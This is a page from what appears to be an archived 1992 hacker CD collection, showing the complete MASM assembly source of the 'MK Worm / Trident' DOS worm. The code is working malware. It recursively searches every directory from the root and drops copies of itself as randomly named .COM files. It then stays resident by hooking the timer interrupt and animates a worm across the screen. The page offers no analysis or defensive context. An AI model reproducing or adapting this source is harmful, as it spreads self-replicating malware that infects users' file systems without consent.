HaCKeRz Kr0nlcKLeZ 1

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/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tdupdat2.err / MASUDKHA.ZIP / MKWORM.ZIP / MKWORM.ASM next >

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Assembly Source File | 1992-10-26 | 14.6 KB | 467 lines

;********************************************************************** ;* ;* MK Worm ;* ;* Compile with MASM 4.0 ;* ;********************************************************************** cseg segment assume cs:cseg,ds:cseg,es:cseg .radix 16 org 0100 wormlen equ 8 filelen equ eind - begin old_dir equ eind DTA equ offset eind + 100d ;********************************************************************** ;* Main program ;********************************************************************** begin: call rnd_init mov bp,DTA ;change DTA call set_DTA mov ah,47 ;get name of current directory cwd mov si,offset old_dir int 21 mov dx,offset root_dir ;goto root call chdir call search ;search directory's mov dx,offset old_dir ;goto original directory call chdir call rnd_get ;go resident? and al,0F jz go_res int 20 go_res: mov ax,351C ;go resident! int 21 lea si,oldvec mov [si],bx mov [si+2],es lea dx,routine mov ax,251C int 21 mov dx,offset eind int 27 ;********************************************************************** ;* search dir ;********************************************************************** search: mov dx,offset dirname ;search *.* mov cx,16 mov ah,4E finddir: int 21 jc no_dir test byte ptr [bp+15],10 ;directory? je next_dir cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ? je next_dir lea dx,[bp+1E] ;goto directory call chdir lea bp,[bp+2C] ;change DTA call set_DTA call search ;searc directory (recurse!) lea bp,[bp-2C] ;goto previous DAT call set_DTA mov dx,offset back_dir ;'CD ..' call chdir next_dir: mov ah,4F ;find next jmp short finddir no_dir: call rnd_get ;copy worm to this directory? and al,3 jnz no_worm mov dx,offset comname ;search *.com mov ah,4E mov cx,06 findcom: int 21 jc makeit mov ax,word ptr [bp-1A] ;worm already there? sub ax,filelen cmp ax,10 jnb no_worm mov ah,4F jmp short findcom makeit: call makeworm ;copy the worm! no_worm: ret ;********************************************************************** ;* change dir ;********************************************************************** chdir: mov ah,3Bh int 21 ret ;********************************************************************** ;* set DTA ;********************************************************************** set_DTA: mov dx,bp mov ah,1A int 21 ret ;********************************************************************** ;* create worm ;********************************************************************** makeworm: mov ah,5A ;create unique filename xor cx,cx mov dx,offset filename mov si,offset restname mov byte ptr [si],0 int 21 xchg ax,bx mov ah,40 ;write worm mov cx,filelen mov dx,0100 int 21 call rnd_get ;append a few bytes and ax,0F xchg ax,cx mov dx,0100 mov ah,40 int 21 mov ah,3E ;close file int 21 lea di,[si+13d] ;copy filename push di push si movsw movsw movsw movsw mov si,offset comname+1 movsw movsw movsb pop dx ;rename file to .COM pop di mov ah,56 int 21 ret ;********************************************************************** ;* new int 1C handler ;********************************************************************** routine: cli ;save registers push ds push es push ax push bx push cx push dx push si push di push cs push cs pop ds pop es zzz3: inc byte ptr [count] mov al,byte ptr [count] test al,1 ;only every 2nd tick jz nothing cmp al,3 ;don't change direction yet jb zzz2 call rnd_get and al,3 ;change direction? jnz zzz2 zzz0: call dirchange ;change direction! mov al,byte ptr [direction] xor al,byte ptr [old_direc] and al,1 jz zzz0 ;90 degrees with old direction? zzz2: call getnext ;calculate next position call checknext ;does it hit the border? jc zzz0 mov al,byte ptr [direction] ;save old direction mov byte ptr [old_direc],al call moveworm mov ah,0F ;ask video mode int 10 cmp al,7 jz goodmode cmp al,4 jnb nothing cmp al,2 jb nothing goodmode: mov ah,3 ;read cursor position int 10 push dx call printworm pop dx ;restore cursor position mov ah,2 int 10 nothing: pop di pop si pop dx pop cx pop bx pop ax pop es pop ds sti jmp cs:[oldvec] ;original vector oldvec dd 0 ;********************************************************************** ;* changes direction of worm ;********************************************************************** dirchange: call rnd_get ;get random numbar and al,2 mov ah,byte ptr [direction] ;change direction 90 degrees xor ah,0FF and ah,1 or ah,al mov byte ptr [direction],ah mov byte ptr [count],0 ret ;********************************************************************** ;* finds next position of the worm ;********************************************************************** getnext: mov al,byte ptr [yval+wormlen] mov byte ptr [yval+wormlen+1],al mov al,byte ptr [xval+wormlen] mov byte ptr [xval+wormlen+1],al mov ah,byte ptr [direction] cmp ah,3 je is_3 cmp ah,2 je is_2 cmp ah,1 je is_1 is_0: mov al,byte ptr [yval+wormlen] ;up dec al mov byte ptr [yval+wormlen+1],al ret is_1: mov al,byte ptr [xval+wormlen] ;left dec al dec al mov byte ptr [xval+wormlen+1],al ret is_2: mov al,byte ptr [yval+wormlen] ;down inc al mov byte ptr [yval+wormlen+1],al ret is_3: mov al,byte ptr [xval+wormlen] ;right inc al inc al mov byte ptr [xval+wormlen+1],al ret ;********************************************************************** ;* checks if worm will hit borders ;********************************************************************** checknext: mov al,byte ptr [xval+wormlen+1] cmp al,0 jl fout cmp al,80d jae fout mov al,byte ptr [yval+wormlen+1] cmp al,0 jl fout cmp al,25d jae fout clc ret fout: stc ret ;********************************************************************** ;* move the worm ;********************************************************************** moveworm: mov si,offset xval+1 lea di,[si-1] mov cx,wormlen+1 rep movsb mov si,offset yval+1 lea di,[si-1] mov cx,wormlen+1 rep movsb ret ;********************************************************************** ;* print the worm on screen ;********************************************************************** printworm: mov si,offset xval call move mov al,20 ;print space on rear end call print mov cx,wormlen-1 lup: call move mov al,0F ;print dots call print loop lup call move mov al,2 ;print head of worm call print ret ;********************************************************************** ;* move the cursor ;********************************************************************** move: mov ah,[si+wormlen+2] lodsb xchg ax,dx mov ah,02 int 10 ret ;********************************************************************** ;* print a character ;********************************************************************** print: push cx mov ah,09 mov bl,0C mov cx,1 int 10 pop cx ret ;**************************************************************************** ;* random number generator ;**************************************************************************** rnd_init: push cx call rnd_init0 and ax,000F inc ax xchg ax,cx random_lup: call rnd_get loop random_lup pop cx ret rnd_init0: push dx ;initialize generator push cx mov ah,2C int 21 in al,40 mov ah,al in al,40 xor ax,cx xor dx,ax jmp short move_rnd rnd_get: push dx ;calculate a random number push cx push bx mov ax,0 mov dx,0 mov cx,7 rnd_lup: shl ax,1 rcl dx,1 mov bl,al xor bl,dh jns rnd_l2 inc al rnd_l2: loop rnd_lup pop bx move_rnd: mov word ptr cs:[rnd_get+4],ax mov word ptr cs:[rnd_get+7],dx mov al,dl pop cx pop dx ret ;********************************************************************** ;* data ;********************************************************************** db ' MK Worm / Trident ' root_dir db '\',0 back_dir db '..',0 dirname db '*.*',0 comname db '*.COM',0 filename db '.\' restname db (26d) dup (?) xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0 yval db (wormlen+2) dup (12d) direction db 3 old_direc db 3 count db 0 eind: cseg ends end begin